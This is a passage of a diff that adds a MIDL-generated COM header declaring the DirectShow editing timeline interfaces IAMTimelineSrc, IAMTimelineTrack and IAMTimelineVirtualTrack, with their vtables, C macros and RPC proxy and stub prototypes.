IAMTimelineSrc * This, + REFTIME *pLength); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetMediaName )( + IAMTimelineSrc * This, + /* [retval][out] */ BSTR *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetMediaName )( + IAMTimelineSrc * This, + BSTR newVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SpliceWithNext )( + IAMTimelineSrc * This, + IAMTimelineObj *pNext); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetStreamNumber )( + IAMTimelineSrc * This, + long *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetStreamNumber )( + IAMTimelineSrc * This, + long Val); + + HRESULT ( STDMETHODCALLTYPE *IsNormalRate )( + IAMTimelineSrc * This, + BOOL *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetDefaultFPS )( + IAMTimelineSrc * This, + double *pFPS); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetDefaultFPS )( + IAMTimelineSrc * This, + double FPS); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetStretchMode )( + IAMTimelineSrc * This, + int *pnStretchMode); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetStretchMode )( + IAMTimelineSrc * This, + int nStretchMode); + + END_INTERFACE + } IAMTimelineSrcVtbl; + + interface IAMTimelineSrc + { + CONST_VTBL struct IAMTimelineSrcVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IAMTimelineSrc_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IAMTimelineSrc_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IAMTimelineSrc_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IAMTimelineSrc_GetMediaTimes(This,pStart,pStop) \ + (This)->lpVtbl -> GetMediaTimes(This,pStart,pStop) + +#define IAMTimelineSrc_GetMediaTimes2(This,pStart,pStop) \ + (This)->lpVtbl -> GetMediaTimes2(This,pStart,pStop) + +#define IAMTimelineSrc_ModifyStopTime(This,Stop) \ + (This)->lpVtbl -> ModifyStopTime(This,Stop) + +#define IAMTimelineSrc_ModifyStopTime2(This,Stop) \ + (This)->lpVtbl -> ModifyStopTime2(This,Stop) + +#define IAMTimelineSrc_FixMediaTimes(This,pStart,pStop) \ + (This)->lpVtbl -> FixMediaTimes(This,pStart,pStop) + +#define IAMTimelineSrc_FixMediaTimes2(This,pStart,pStop) \ + (This)->lpVtbl -> FixMediaTimes2(This,pStart,pStop) + +#define IAMTimelineSrc_SetMediaTimes(This,Start,Stop) \ + (This)->lpVtbl -> SetMediaTimes(This,Start,Stop) + +#define IAMTimelineSrc_SetMediaTimes2(This,Start,Stop) \ + (This)->lpVtbl -> SetMediaTimes2(This,Start,Stop) + +#define IAMTimelineSrc_SetMediaLength(This,Length) \ + (This)->lpVtbl -> SetMediaLength(This,Length) + +#define IAMTimelineSrc_SetMediaLength2(This,Length) \ + (This)->lpVtbl -> SetMediaLength2(This,Length) + +#define IAMTimelineSrc_GetMediaLength(This,pLength) \ + (This)->lpVtbl -> GetMediaLength(This,pLength) + +#define IAMTimelineSrc_GetMediaLength2(This,pLength) \ + (This)->lpVtbl -> GetMediaLength2(This,pLength) + +#define IAMTimelineSrc_GetMediaName(This,pVal) \ + (This)->lpVtbl -> GetMediaName(This,pVal) + +#define IAMTimelineSrc_SetMediaName(This,newVal) \ + (This)->lpVtbl -> SetMediaName(This,newVal) + +#define IAMTimelineSrc_SpliceWithNext(This,pNext) \ + (This)->lpVtbl -> SpliceWithNext(This,pNext) + +#define IAMTimelineSrc_GetStreamNumber(This,pVal) \ + (This)->lpVtbl -> GetStreamNumber(This,pVal) + +#define IAMTimelineSrc_SetStreamNumber(This,Val) \ + (This)->lpVtbl -> SetStreamNumber(This,Val) + +#define IAMTimelineSrc_IsNormalRate(This,pVal) \ + (This)->lpVtbl -> IsNormalRate(This,pVal) + +#define IAMTimelineSrc_GetDefaultFPS(This,pFPS) \ + (This)->lpVtbl -> GetDefaultFPS(This,pFPS) + +#define IAMTimelineSrc_SetDefaultFPS(This,FPS) \ + (This)->lpVtbl -> SetDefaultFPS(This,FPS) + +#define IAMTimelineSrc_GetStretchMode(This,pnStretchMode) \ + (This)->lpVtbl -> GetStretchMode(This,pnStretchMode) + +#define IAMTimelineSrc_SetStretchMode(This,nStretchMode) \ + (This)->lpVtbl -> SetStretchMode(This,nStretchMode) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_GetMediaTimes_Proxy( + IAMTimelineSrc * This, + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop); + + +void __RPC_STUB IAMTimelineSrc_GetMediaTimes_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_GetMediaTimes2_Proxy( + IAMTimelineSrc * This, + REFTIME *pStart, + REFTIME *pStop); + + +void __RPC_STUB IAMTimelineSrc_GetMediaTimes2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_ModifyStopTime_Proxy( + IAMTimelineSrc * This, + REFERENCE_TIME Stop); + + +void __RPC_STUB IAMTimelineSrc_ModifyStopTime_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_ModifyStopTime2_Proxy( + IAMTimelineSrc * This, + REFTIME Stop); + + +void __RPC_STUB IAMTimelineSrc_ModifyStopTime2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_FixMediaTimes_Proxy( + IAMTimelineSrc * This, + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop); + + +void __RPC_STUB IAMTimelineSrc_FixMediaTimes_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_FixMediaTimes2_Proxy( + IAMTimelineSrc * This, + REFTIME *pStart, + REFTIME *pStop); + + +void __RPC_STUB IAMTimelineSrc_FixMediaTimes2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_SetMediaTimes_Proxy( + IAMTimelineSrc * This, + REFERENCE_TIME Start, + REFERENCE_TIME Stop); + + +void __RPC_STUB IAMTimelineSrc_SetMediaTimes_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_SetMediaTimes2_Proxy( + IAMTimelineSrc * This, + REFTIME Start, + REFTIME Stop); + + +void __RPC_STUB IAMTimelineSrc_SetMediaTimes2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_SetMediaLength_Proxy( + IAMTimelineSrc * This, + REFERENCE_TIME Length); + + +void __RPC_STUB IAMTimelineSrc_SetMediaLength_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_SetMediaLength2_Proxy( + IAMTimelineSrc * This, + REFTIME Length); + + +void __RPC_STUB IAMTimelineSrc_SetMediaLength2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_GetMediaLength_Proxy( + IAMTimelineSrc * This, + REFERENCE_TIME *pLength); + + +void __RPC_STUB IAMTimelineSrc_GetMediaLength_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_GetMediaLength2_Proxy( + IAMTimelineSrc * This, + REFTIME *pLength); + + +void __RPC_STUB IAMTimelineSrc_GetMediaLength2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_GetMediaName_Proxy( + IAMTimelineSrc * This, + /* [retval][out] */ BSTR *pVal); + + +void __RPC_STUB IAMTimelineSrc_GetMediaName_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_SetMediaName_Proxy( + IAMTimelineSrc * This, + BSTR newVal); + + +void __RPC_STUB IAMTimelineSrc_SetMediaName_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_SpliceWithNext_Proxy( + IAMTimelineSrc * This, + IAMTimelineObj *pNext); + + +void __RPC_STUB IAMTimelineSrc_SpliceWithNext_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_GetStreamNumber_Proxy( + IAMTimelineSrc * This, + long *pVal); + + +void __RPC_STUB IAMTimelineSrc_GetStreamNumber_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_SetStreamNumber_Proxy( + IAMTimelineSrc * This, + long Val); + + +void __RPC_STUB IAMTimelineSrc_SetStreamNumber_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineSrc_IsNormalRate_Proxy( + IAMTimelineSrc * This, + BOOL *pVal); + + +void __RPC_STUB IAMTimelineSrc_IsNormalRate_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_GetDefaultFPS_Proxy( + IAMTimelineSrc * This, + double *pFPS); + + +void __RPC_STUB IAMTimelineSrc_GetDefaultFPS_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_SetDefaultFPS_Proxy( + IAMTimelineSrc * This, + double FPS); + + +void __RPC_STUB IAMTimelineSrc_SetDefaultFPS_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_GetStretchMode_Proxy( + IAMTimelineSrc * This, + int *pnStretchMode); + + +void __RPC_STUB IAMTimelineSrc_GetStretchMode_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineSrc_SetStretchMode_Proxy( + IAMTimelineSrc * This, + int nStretchMode); + + +void __RPC_STUB IAMTimelineSrc_SetStretchMode_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IAMTimelineSrc_INTERFACE_DEFINED__ */ + + +#ifndef __IAMTimelineTrack_INTERFACE_DEFINED__ +#define __IAMTimelineTrack_INTERFACE_DEFINED__ + +/* interface IAMTimelineTrack */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IAMTimelineTrack; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("EAE58538-622E-11d2-8CAD-00A024580902") + IAMTimelineTrack : public IUnknown + { + public: + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SrcAdd( + IAMTimelineObj *pSource) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetNextSrc( + /* [out] */ IAMTimelineObj **ppSrc, + REFERENCE_TIME *pInOut) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetNextSrc2( + /* [out] */ IAMTimelineObj **ppSrc, + REFTIME *pInOut) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE MoveEverythingBy( + REFERENCE_TIME Start, + REFERENCE_TIME MoveBy) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE MoveEverythingBy2( + REFTIME Start, + REFTIME MoveBy) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetSourcesCount( + long *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE AreYouBlank( + long *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetSrcAtTime( + /* [out] */ IAMTimelineObj **ppSrc, + REFERENCE_TIME Time, + long SearchDirection) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetSrcAtTime2( + /* [out] */ IAMTimelineObj **ppSrc, + REFTIME Time, + long SearchDirection) = 0; + + virtual HRESULT STDMETHODCALLTYPE InsertSpace( + REFERENCE_TIME rtStart, + REFERENCE_TIME rtEnd) = 0; + + virtual HRESULT STDMETHODCALLTYPE InsertSpace2( + REFTIME rtStart, + REFTIME rtEnd) = 0; + + virtual HRESULT STDMETHODCALLTYPE ZeroBetween( + REFERENCE_TIME rtStart, + REFERENCE_TIME rtEnd) = 0; + + virtual HRESULT STDMETHODCALLTYPE ZeroBetween2( + REFTIME rtStart, + REFTIME rtEnd) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetNextSrcEx( + IAMTimelineObj *pLast, + /* [out] */ IAMTimelineObj **ppNext) = 0; + + }; + +#else /* C style interface */ + + typedef struct IAMTimelineTrackVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IAMTimelineTrack * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IAMTimelineTrack * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IAMTimelineTrack * This); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SrcAdd )( + IAMTimelineTrack * This, + IAMTimelineObj *pSource); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetNextSrc )( + IAMTimelineTrack * This, + /* [out] */ IAMTimelineObj **ppSrc, + REFERENCE_TIME *pInOut); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetNextSrc2 )( + IAMTimelineTrack * This, + /* [out] */ IAMTimelineObj **ppSrc, + REFTIME *pInOut); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *MoveEverythingBy )( + IAMTimelineTrack * This, + REFERENCE_TIME Start, + REFERENCE_TIME MoveBy); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *MoveEverythingBy2 )( + IAMTimelineTrack * This, + REFTIME Start, + REFTIME MoveBy); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetSourcesCount )( + IAMTimelineTrack * This, + long *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *AreYouBlank )( + IAMTimelineTrack * This, + long *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetSrcAtTime )( + IAMTimelineTrack * This, + /* [out] */ IAMTimelineObj **ppSrc, + REFERENCE_TIME Time, + long SearchDirection); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetSrcAtTime2 )( + IAMTimelineTrack * This, + /* [out] */ IAMTimelineObj **ppSrc, + REFTIME Time, + long SearchDirection); + + HRESULT ( STDMETHODCALLTYPE *InsertSpace )( + IAMTimelineTrack * This, + REFERENCE_TIME rtStart, + REFERENCE_TIME rtEnd); + + HRESULT ( STDMETHODCALLTYPE *InsertSpace2 )( + IAMTimelineTrack * This, + REFTIME rtStart, + REFTIME rtEnd); + + HRESULT ( STDMETHODCALLTYPE *ZeroBetween )( + IAMTimelineTrack * This, + REFERENCE_TIME rtStart, + REFERENCE_TIME rtEnd); + + HRESULT ( STDMETHODCALLTYPE *ZeroBetween2 )( + IAMTimelineTrack * This, + REFTIME rtStart, + REFTIME rtEnd); + + HRESULT ( STDMETHODCALLTYPE *GetNextSrcEx )( + IAMTimelineTrack * This, + IAMTimelineObj *pLast, + /* [out] */ IAMTimelineObj **ppNext); + + END_INTERFACE + } IAMTimelineTrackVtbl; + + interface IAMTimelineTrack + { + CONST_VTBL struct IAMTimelineTrackVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IAMTimelineTrack_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IAMTimelineTrack_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IAMTimelineTrack_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IAMTimelineTrack_SrcAdd(This,pSource) \ + (This)->lpVtbl -> SrcAdd(This,pSource) + +#define IAMTimelineTrack_GetNextSrc(This,ppSrc,pInOut) \ + (This)->lpVtbl -> GetNextSrc(This,ppSrc,pInOut) + +#define IAMTimelineTrack_GetNextSrc2(This,ppSrc,pInOut) \ + (This)->lpVtbl -> GetNextSrc2(This,ppSrc,pInOut) + +#define IAMTimelineTrack_MoveEverythingBy(This,Start,MoveBy) \ + (This)->lpVtbl -> MoveEverythingBy(This,Start,MoveBy) + +#define IAMTimelineTrack_MoveEverythingBy2(This,Start,MoveBy) \ + (This)->lpVtbl -> MoveEverythingBy2(This,Start,MoveBy) + +#define IAMTimelineTrack_GetSourcesCount(This,pVal) \ + (This)->lpVtbl -> GetSourcesCount(This,pVal) + +#define IAMTimelineTrack_AreYouBlank(This,pVal) \ + (This)->lpVtbl -> AreYouBlank(This,pVal) + +#define IAMTimelineTrack_GetSrcAtTime(This,ppSrc,Time,SearchDirection) \ + (This)->lpVtbl -> GetSrcAtTime(This,ppSrc,Time,SearchDirection) + +#define IAMTimelineTrack_GetSrcAtTime2(This,ppSrc,Time,SearchDirection) \ + (This)->lpVtbl -> GetSrcAtTime2(This,ppSrc,Time,SearchDirection) + +#define IAMTimelineTrack_InsertSpace(This,rtStart,rtEnd) \ + (This)->lpVtbl -> InsertSpace(This,rtStart,rtEnd) + +#define IAMTimelineTrack_InsertSpace2(This,rtStart,rtEnd) \ + (This)->lpVtbl -> InsertSpace2(This,rtStart,rtEnd) + +#define IAMTimelineTrack_ZeroBetween(This,rtStart,rtEnd) \ + (This)->lpVtbl -> ZeroBetween(This,rtStart,rtEnd) + +#define IAMTimelineTrack_ZeroBetween2(This,rtStart,rtEnd) \ + (This)->lpVtbl -> ZeroBetween2(This,rtStart,rtEnd) + +#define IAMTimelineTrack_GetNextSrcEx(This,pLast,ppNext) \ + (This)->lpVtbl -> GetNextSrcEx(This,pLast,ppNext) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrack_SrcAdd_Proxy( + IAMTimelineTrack * This, + IAMTimelineObj *pSource); + + +void __RPC_STUB IAMTimelineTrack_SrcAdd_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrack_GetNextSrc_Proxy( + IAMTimelineTrack * This, + /* [out] */ IAMTimelineObj **ppSrc, + REFERENCE_TIME *pInOut); + + +void __RPC_STUB IAMTimelineTrack_GetNextSrc_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrack_GetNextSrc2_Proxy( + IAMTimelineTrack * This, + /* [out] */ IAMTimelineObj **ppSrc, + REFTIME *pInOut); + + +void __RPC_STUB IAMTimelineTrack_GetNextSrc2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrack_MoveEverythingBy_Proxy( + IAMTimelineTrack * This, + REFERENCE_TIME Start, + REFERENCE_TIME MoveBy); + + +void __RPC_STUB IAMTimelineTrack_MoveEverythingBy_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrack_MoveEverythingBy2_Proxy( + IAMTimelineTrack * This, + REFTIME Start, + REFTIME MoveBy); + + +void __RPC_STUB IAMTimelineTrack_MoveEverythingBy2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrack_GetSourcesCount_Proxy( + IAMTimelineTrack * This, + long *pVal); + + +void __RPC_STUB IAMTimelineTrack_GetSourcesCount_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrack_AreYouBlank_Proxy( + IAMTimelineTrack * This, + long *pVal); + + +void __RPC_STUB IAMTimelineTrack_AreYouBlank_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrack_GetSrcAtTime_Proxy( + IAMTimelineTrack * This, + /* [out] */ IAMTimelineObj **ppSrc, + REFERENCE_TIME Time, + long SearchDirection); + + +void __RPC_STUB IAMTimelineTrack_GetSrcAtTime_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrack_GetSrcAtTime2_Proxy( + IAMTimelineTrack * This, + /* [out] */ IAMTimelineObj **ppSrc, + REFTIME Time, + long SearchDirection); + + +void __RPC_STUB IAMTimelineTrack_GetSrcAtTime2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineTrack_InsertSpace_Proxy( + IAMTimelineTrack * This, + REFERENCE_TIME rtStart, + REFERENCE_TIME rtEnd); + + +void __RPC_STUB IAMTimelineTrack_InsertSpace_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineTrack_InsertSpace2_Proxy( + IAMTimelineTrack * This, + REFTIME rtStart, + REFTIME rtEnd); + + +void __RPC_STUB IAMTimelineTrack_InsertSpace2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineTrack_ZeroBetween_Proxy( + IAMTimelineTrack * This, + REFERENCE_TIME rtStart, + REFERENCE_TIME rtEnd); + + +void __RPC_STUB IAMTimelineTrack_ZeroBetween_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineTrack_ZeroBetween2_Proxy( + IAMTimelineTrack * This, + REFTIME rtStart, + REFTIME rtEnd); + + +void __RPC_STUB IAMTimelineTrack_ZeroBetween2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineTrack_GetNextSrcEx_Proxy( + IAMTimelineTrack * This, + IAMTimelineObj *pLast, + /* [out] */ IAMTimelineObj **ppNext); + + +void __RPC_STUB IAMTimelineTrack_GetNextSrcEx_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IAMTimelineTrack_INTERFACE_DEFINED__ */ + + +#ifndef __IAMTimelineVirtualTrack_INTERFACE_DEFINED__ +#define __IAMTimelineVirtualTrack_INTERFACE_DEFINED__ + +/* interface IAMTimelineVirtualTrack */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IAMTimelineVirtualTrack; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("A8ED5F80-C2C7-11d2-8D39-00A0C9441E20") + IAMTimelineVirtualTrack : public IUnknown + { + public: + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE TrackGetPriority( + long *pPriority) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetTrackDirty( void) = 0; + + }; + +#else /* C style interface */ + + typedef struct IAMTimelineVirtualTrackVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IAMTimelineVirtualTrack * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IAMTimelineVirtualTrack * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IAMTimelineVirtualTrack * This); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *TrackGetPriority )( + IAMTimelineVirtualTrack * This, + long *pPriority); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetTrackDirty )( + IAMTimelineVirtualTrack * This); + + END_INTERFACE + } IAMTimelineVirtualTrackVtbl; + + interface IAMTimelineVirtualTrack + { + CONST_VTBL struct IAMTimelineVirtualTrackVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IAMTimelineVirtualTrack_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IAMTimelineVirtualTrack_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IAMTimelineVirtualTrack_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IAMTimelineVirtualTrack_TrackGetPriority(This,pPriority) \ + (This)->lpVtbl -> TrackGetPriority(This,pPriority) + +#define IAMTimelineVirtualTrack_SetTrackDirty(This) \ + (This)->lpVtbl -> SetTrackDirty(This) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineVirtualTrack_TrackGetPriority_Proxy( + IAMTimelineVirtualTrack * This, + long *pPriority); + + +void __RPC_STUB IAMTimelineVirtualTrack_TrackGetPriority_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineVirtualTrack_SetTrackDirty_Proxy( + IAMTimelineVirtualTrack * This); + + +void __RPC_STUB IAMTimelineVirtualTrack_SetTrackDirty_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE 